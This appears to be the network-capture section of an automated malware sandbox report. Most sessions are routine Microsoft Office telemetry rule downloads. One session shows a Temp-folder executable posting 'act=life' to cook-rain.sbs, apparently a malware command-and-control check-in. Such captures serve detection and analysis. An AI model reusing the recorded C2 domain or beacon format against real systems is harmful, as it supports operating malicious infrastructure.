2024-11-18 20:04:25 UTC	978	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pl0abtki25c853a7p7qc4t169u; expires=Fri, 14-Mar-2025 13:51:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0l%2FbtNsepCxCj5pzTJnQgdSFRlqV5fc5beTXfHrj1k03Z48OIFjQoZbJ8SYOLyGz0qKOZwY06WUIl4DlkUUbUn49QVuK8JXTmPM2zNOgDJF4MHWg7W72rYQvhFnlTdF%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91c71dcfbff2-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20214&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2143&delivery_rate=143536&cwnd=32&unsent_bytes=0&cid=47891412d12c645b&ts=343&x=0"
2024-11-18 20:04:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 20:04:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200424Z-1866b5c5fbbzzh8chC1DFWzc5c00000000qg000000000wmf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200424Z-16547b76f7fhvzzthC1DFW5570000000067g00000000y75u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:24 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:24 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200424Z-1866b5c5fbb5hnj5hC1DFW18sc00000006gg0000000063mv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:24 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49875	188.114.96.3	443	7712	C:\Users\user\AppData\Local\Temp\1007229001\d657e56348.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:25 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-18 20:04:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-18 20:04:26 UTC	987	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7nusil68ftc3cjooj9vj4db5pl; expires=Fri, 14-Mar-2025 13:51:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mYJYTiRgnkIW83aq6SxVErSzAXnV4qggA%2FJ%2BMG4uB%2BJZuNMn8TPu%2BuswvtjAGnwrg0nlNbbWc0bVj%2FxOfw5%2FNvgjzZ%2FdldjxvAcq6C3gFAA7ioJZc3XDVMxZfa5rS3Vw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e4a91cb393cbf68-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=20281&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=143033&cwnd=32&unsent_bytes=0&cid=d926f92084e69f32&ts=887&x=0"
2024-11-18 20:04:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-18 20:04:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:25 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:25 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200425Z-16547b76f7fd4rc5hC1DFWkzhw00000006n0000000006m00 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:25 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:25 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:25 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 70970467-901e-0016-71b3-39efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200425Z-16547b76f7fl5zvnhC1DFWtk9g00000004sg000000005zdm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:25 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:25 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:25 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:25 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 776d52d1-a01e-0032-19c4-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200425Z-1866b5c5fbbvz6qbhC1DFWsyms00000005eg00000000pgem x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:25 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:25 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:25 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:25 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200425Z-16547b76f7fhv4d5hC1DFW7h0n00000004hg00000000v6bu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:25 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:26 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200426Z-16547b76f7fqqjnnhC1DFWxv7400000004k000000000hbhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:26 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:26 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:26 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200426Z-16547b76f7fljddfhC1DFWeqbs000000073000000000hv85 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 20:04:26 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:26 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:04:26 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:04:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 9e82d9a1-401e-0047-74f2-398597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200426Z-16547b76f7fp6s5dhC1DFWe28g00000003mg000000002f52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:04:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:04:26 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
